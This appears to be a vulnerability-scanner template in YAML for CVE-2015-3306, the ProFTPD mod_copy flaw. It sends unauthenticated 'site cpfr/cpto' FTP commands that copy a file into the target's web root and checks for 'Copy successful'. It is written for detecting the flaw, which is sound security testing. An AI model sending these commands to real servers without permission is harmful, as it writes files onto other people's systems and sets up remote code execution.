31 lines
790 B
YAML
31 lines
790 B
YAML
id: CVE-2015-3306
|
|
|
|
info:
|
|
name: ProFTPd RCE
|
|
author: pdteam
|
|
severity: high
|
|
reference: https://github.com/t0kx/exploit-CVE-2015-3306
|
|
description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
|
|
tags: cve,cve2015,ftp,rce,network,proftpd
|
|
|
|
network:
|
|
- inputs:
|
|
- data: "site cpfr /proc/self/cmdline\r\n"
|
|
read: 1024
|
|
- data: "site cpto /tmp/.{{randstr}}\r\n"
|
|
read: 1024
|
|
- data: "site cpfr /tmp/.{{randstr}}\r\n"
|
|
read: 1024
|
|
- data: "site cpto /var/www/html/{{randstr}}\r\n"
|
|
|
|
host:
|
|
- "{{Hostname}}"
|
|
- "{{Host}}:21"
|
|
|
|
read-size: 1024
|
|
matchers:
|
|
- type: word
|
|
part: raw
|
|
words:
|
|
- "Copy successful"
|